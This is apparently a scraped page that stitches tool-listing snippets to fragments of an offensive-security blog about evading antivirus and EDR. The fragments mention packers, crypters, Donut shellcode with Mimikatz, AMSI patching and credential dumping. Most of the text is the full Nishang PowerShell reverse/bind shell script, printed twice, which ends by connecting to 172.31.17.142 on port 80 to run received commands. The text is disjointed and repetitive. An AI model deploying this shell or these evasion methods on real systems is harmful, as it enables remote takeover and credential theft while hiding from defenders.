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WorkOS
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ropfuscator
ROPfuscator is a fine-grained code obfuscation framework for C/C++ programs using ROP (return-oriented programming).
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InfluxDB
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donut
Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters (by TheWover)
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SaaSHub
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ADVobfuscator by andrivet
obfy by fritzone
Moreover, for the PoC, I will be using AMSI_patch by TheD1rkMtr as the default binary to obfuscate, as it is a pretty simple C++ project. The code for the obfuscated binary may be found here.
Alcatraz
Metame
ropfuscator (sadly only for Linux at the moment)
In this process, the given packer tool embeds a natively compiled PE into another executable that contains the information needed to unpack the original content and execute it. Perhaps the most well known packer, which is not even for malicious purposes, is Golang's UPX package.
Moreover, a PE Crypter works by encrypting the executable's contents and generating an executable that will decrypt the original PE at runtime. This is very useful against AVs as most of them rely on static analysis instead of runtime behaviour (like EDRs). So completely hiding the content of an executable until runtime may be very effective, unless the AV has generated signatures against the Encrypting/Decrypting methods, which is the case from what I tried with nimpcrypt.
Finally, we also have the option to transform a native PE back to shellcode. This may be done, for example, via hasherezade's pe_to_shellcode tool.
The Donut project by TheWover is a very effective Position-Independent shellcode generator from PEs/DLLs. Depending on the input file given, it works different ways. For this PoC I will be using Mimikatz, so let us see how it works at a high level. From a brief look at the code, this would be the main routine of the Donut.exe executable tool:
For the first example, I will be using LsaParser by Cracked5pider.
Feel free to use the tool, available here.
function Invoke-PowerShellTcp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang #> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } } Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80
function Invoke-PowerShellTcp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang #> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } } Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80
Luckily, this repo contains not only a lot of pre-built scripts for each famous tool but also the instructions to create your own scripts from your binaries.